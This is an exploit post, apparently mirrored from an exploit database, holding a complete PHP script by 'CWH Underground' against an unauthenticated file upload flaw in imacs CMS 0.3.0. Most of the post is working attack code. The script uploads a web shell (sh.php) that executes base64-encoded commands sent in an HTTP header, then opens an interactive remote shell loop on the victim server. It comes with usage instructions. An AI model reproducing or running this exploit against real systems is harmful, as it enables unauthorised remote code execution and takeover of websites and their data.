imacs CMS 0.3.0 - Unrestricted File Upload Exploit

[Matt]

Author : CWH Underground

Source : imacs CMS 0.3.0 - Unrestricted File Upload Exploit

Vulnerable App : http://www.exploit-db.com/wp-content/themes/exploit/applications/80ed91cbab87f82f42b4a712d5fb2bd9-imacs_V0_3_0_608.cmp.zip

Code :

<?php

/*

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /        
  / XXXXXX /
 (________(          
  `------'

 Exploit Title   : imacs CMS Unrestricted File Upload Exploit
 Date            : 18 June 2013
 Exploit Author  : CWH Underground
 Site            : www.2600.in.th
 Vendor Homepage : http://jrcmsdev.sourceforge.net/
 Software Link   : http://jaist.dl.sourceforge.net/project/jrcmsdev/imacs_V0_3_0_608.cmp.zip
 Version         : 0.3.0
 Tested on       : Window and Linux


#####################################################
VULNERABILITY: Unrestricted File Upload 
#####################################################

/src/assets/mng/mng.php

#####################################################
DESCRIPTION
#####################################################

Restricted access to this script isn't properly realized (Don't require authentication) ,  
so an attacker might be able to upload arbitrary files containing malicious PHP code due to uploaded file 
extension isn't properly checked.


#####################################################
EXPLOIT
#####################################################

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die("\n[-] No response from {$host}:80\n");

    fputs($sock, $packet);
    return stream_get_contents($sock);
}

print "\n==============================================\n";
print "  imacs CMS Unrestricted File Upload Exploit  \n";
print "                                              \n";
print "        Discovered By CWH Underground         \n";
print "==============================================\n\n";
print "  ,--^----------,--------,-----,-------^--,   \n";
print "  | |||||||||   `--------'     |          O   \n";
print "  `+---------------------------^----------|   \n";
print "    `\_,-------, _________________________|   \n";
print "      / XXXXXX /`|     /                      \n";
print "     / XXXXXX /  `\   /                       \n";
print "    / XXXXXX /\______(                        \n";
print "   / XXXXXX /                                 \n";
print "  / XXXXXX /   .. CWH Underground Hacking Team ..  \n";
print " (________(                                   \n";
print "  `------'                                    \n\n";


if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /imacs/\n";
    die();
}

$host = $argv[1];
$path = $argv[2];


$payload  = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"upload\"; filename=\"sh.php\"\r\n";
$payload .= "Content-Type: application/octet-stream\r\n\r\n";
$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";
$payload .= "--o0oOo0o--\r\n";

$packet  = "GET {$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

$response = http_send($host, $packet);

if (!preg_match("/Set-Cookie: ([^;]*);/i", $response, $sid)) die("\n[-] Session ID not found!\n");

$packet  = "POST {$path}src/assets/mng/mng.php?dir= HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);

$packet  = "GET {$path}content/uploads/sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
    print "\nimacs-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

################################################################################################################
# Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
?>

Edited June 22, 2013 by Matt